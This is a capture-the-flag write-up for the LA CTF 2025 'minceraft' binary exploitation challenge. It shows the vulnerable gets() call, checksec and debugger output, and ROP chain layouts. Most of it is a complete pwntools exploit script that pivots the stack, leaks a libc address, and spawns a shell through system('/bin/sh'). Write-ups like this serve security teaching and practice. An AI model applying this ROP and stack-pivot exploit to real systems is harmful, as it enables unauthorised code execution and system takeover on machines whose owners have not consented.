minceraft
challenge information
LA CTF 2025: https://github.com/uclaacm/lactf-archive/tree/main/2025/pwn/minceraft
analysis
[~/dc/ctf/la/minceraft] >>>checksec chall
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No
vulnerabilities
buffer overflow
int main(void) {
setbuf(stdout, NULL);
while (1) {
puts("\nM I N C E R A F T\n");
puts("1. Singleplayer");
puts("2. Multiplayer");
if (read_int() != 1) {
puts("who needs friends???");
exit(1);
}
puts("Creating new world");
puts("Enter world name:");
char world_name[64];
scanf(" ");
gets(world_name);
//---------------
exploit flow・爆破脚本
stack pivot into writable address.
return to gets again
rop to leak libc address
rop to get a shell
stack structure
$rdi 0x7fffffffd920|+0x0000|+000: 0x00007ffff7fc1000 -> 0x00010102464c457f
0x7fffffffd928|+0x0008|+001: 0x0000010101000000
0x7fffffffd930|+0x0010|+002: 0x0000000000000002
0x7fffffffd938|+0x0018|+003: 0x00000000178bfbff
0x7fffffffd940|+0x0020|+004: 0x00007fffffffde69 -> 0x000034365f363878 ('x86_64'?)
0x7fffffffd948|+0x0028|+005: 0x0000000000000064
0x7fffffffd950|+0x0030|+006: 0x0000000000001000
0x7fffffffd958|+0x0038|+007: 0x0000000000401090 <_start> -> 0x89485ed18949ed31
$rbp 0x7fffffffd960|+0x0040|+008: 0x0000000000000001
0x7fffffffd968|+0x0048|+009: 0x00007ffff7c29d90 <__libc_start_call_main+0x80> -> 0xe80001b859e8c789 <- retaddr[1]
writable region
gef> vmmap
Start End Size Perm Path
0x00000400000 0x00000401000 0x000001000 r-- minceraft/chall
0x00000401000 0x00000402000 0x000001000 r-x minceraft/chall
0x00000402000 0x00000403000 0x000001000 r-- minceraft/chall
0x00000403000 0x00000404000 0x000001000 r-- minceraft/chall
***WRITABLE***
0x00000404000 0x00000405000 0x000001000 rw- minceraft/chall
**************
Rop1
world_name | A*0x40
--------------------
rbp | writable (0x404e000)
ret addr | *main+143 -> scanf(" ")
Rop2
world_name | A*0x40
--------------------
rbp | writable+0x20 (0x404e020)
ret addr | *read_int+65 -> mov eax,DWORD PTR [rbp-0x4]; leave; ret;
padding | 0x0000000000000000 V
padding&leak| 0x0040400000000000 |
padding (4)| 0x00000000 |
leak addr(4)| 0x00404000 <puts@got[plt]> <------J
next_rbp | writable+30h-8h
next_ret | *main+427 -> mov rdi,rax; call 0x401030 <puts@plt>
rop | _start
Rop3
world_name | A*0x40
--------------------
rbp | writable (0x404e000)
ret addr | ret;
rop | pop rdi; ret;
rop | &"/bin/sh\0"
rop | system()
exploit
from pwn import *
import sys
e = ELF("chall",checksec=False)
libc = ELF("/usr/lib/x86_64-linux-gnu/libc.so.6",checksec=False)
ld = ELF("/usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2",checksec=False)
nc = "nc 127.0.0.1 9999"
HOST = nc.split(" ")[1]
PORT = int(nc.split(" ")[2])
dbg = 1
g_script = """
set max-visualize-chunk-size 0x300
"""
context.binary = e
if len(sys.argv) > 1:
io = remote(host=HOST,port=PORT)
else:
io = e.process()
if dbg:
gdb.attach(io,g_script)
s = lambda b: io.send(b)
sa = lambda a,b: io.sendafter(a,b)
sl = lambda b: io.sendline(b)
sla = lambda a,b: io.sendlineafter(a,b)
r = lambda : io.recv()
ru = lambda b:io.recvuntil(b)
rl = lambda : io.recvline()
pu32= lambda b : u32(b.ljust(4,b"\0"))
pu64= lambda b : u64(b.ljust(8,b"\0"))
hlog= lambda i : print(f"[*]{hex(i)}")
shell = lambda : io.interactive()
payload = b""
def paybyte(data:bytes):global payload;payload = data
def addbyte(data:bytes):global payload;payload+= data
def pay64(adr:int):global payload;payload = p64(adr)
def add64(adr:int):global payload;payload+= p64(adr)
ret = 0x0000000000401016
mov_rax_rbp4 = 0x004011b7
writable = 0x404e00
mov_rdi_rax = 0x00401367
paybyte(b"A"*0x40)
add64(writable)
add64(0x000000000040124b) #scanf(" ")
r()
sl(b"1")
r()
sl(payload)
r()
sl(b"1")
r()
sl(b"2")
paybyte(b"B"*0x40)
add64(writable+0x20)
add64(mov_rax_rbp4)
add64(0x0) #padding
add64(0x40400000000000)
add64(writable+0x30-8)
add64(mov_rdi_rax)
add64(e.sym["_start"])
r()
sl(payload)
r()
sl(b"1")
print("waiting for it")
time.sleep(5)
r()
sl(b"2")
ru(b"Exit\n")
leak = rl().strip()
leak = pu64(leak)
hlog(leak)
diff = 0x724ccba80e50 - 0x0000724ccba00000
libc.address = leak - diff
hlog(libc.address)
rop = ROP(libc, base = libc.address)
rop.call(ret)
rop.system(next(libc.search(b"/bin/sh\0")))
sl(b"2")
sl(b"1")
r()
paybyte(b"C"*0x40)
add64(writable)
addbyte(rop.chain())
sl(payload)
r()
sl(b"1")
print("waiting for it")
time.sleep(5)
r()
sl(b"2")
shell()
Last modified: 15 February 2025